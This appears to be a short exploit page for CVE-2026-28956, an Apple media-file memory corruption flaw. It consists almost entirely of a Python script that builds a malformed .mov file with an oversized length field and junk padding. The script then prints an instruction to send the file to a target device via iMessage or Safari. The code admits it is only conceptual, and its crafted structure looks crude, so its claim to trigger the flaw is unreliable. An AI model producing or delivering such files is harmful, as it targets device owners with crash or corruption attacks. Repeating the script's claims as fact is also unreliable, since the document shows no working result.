CVE-2026-28956 Apple媒体文件内存损坏漏洞

# Proof of Concept for CVE-2026-28956 # Description: This script generates a malformed media file header to trigger the memory corruption crash. # Note: This is a conceptual demonstration. Actual exploitation requires specific byte sequences reversing. import struct def generate_malicious_media(filename): # Simulating a crafted media file header that bypasses initial validation # but triggers corruption in the parsing logic. # Using a standard ftyp box start as a base header_magic = b"\x00\x00\x00\x20\x66\x74\x79\x70" # Injecting an oversized length field to cause buffer overflow during parsing malicious_size = struct.pack(">I", 0xFFFFFFFF) with open(filename, "wb") as f: f.write(header_magic) f.write(malicious_size) # Padding with junk data to fill the buffer and trigger the corruption f.write(b"A" * 0x1000) print(f"[+] Malicious file generated: {filename}") print("[+] Send this file to the target device via iMessage/Safari and open it.") if __name__ == "__main__": generate_malicious_media("cve_2026_28956_poc.mov")
